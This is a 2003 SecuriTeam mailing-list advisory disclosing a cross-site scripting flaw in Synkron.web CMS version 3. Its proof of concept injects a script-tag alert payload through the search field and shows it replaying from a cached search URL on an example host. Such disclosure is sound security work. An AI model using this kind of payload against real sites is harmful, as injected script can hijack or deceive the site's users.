[NEWS] XSS Vulnerability in Synkron.web CMS

From: SecuriTeam (support_at_securiteam.com)
Date: 06/09/03

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    To: list@securiteam.com
Date: 9 Jun 2003 18:55:34 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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      XSS Vulnerability in Synkron.web CMS
    ------------------------------------------------------------------------

    SUMMARY

    "Ever since 1997, it has been Synkron's mission to help companies manage
    on their own when setting up a presence on the Internet. To achieve this,
    Synkron has developed a so-called 'Web content management' system, which
    everyone with a user-level knowledge of IT can learn to use in less than a
    single day". A vulnerability in the product allows remote attackers to
    cause the server to return malicious HTML/JavaScript to users as if it was
    being sent by the server.

    DETAILS

    Vulnerable systems:
     * Synkron.web version 3

    Proof of Concept:
    First, visit the search page:
            http://www.example.net/sw000.asp
    Then search for:
            ">< script>alert('test')</script> You will see a javascript
    pop-up.
    Finally visit the cached page:
            http://www.example.net/sw000.asp?SearchCacheId=xx\
            &SearchPageNumberII=1&SearchParaId=y&SearchParaType=zzz

    This will show the same JavaScript pop-up as above.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:b240503@gyrniff.dk> gyrniff.

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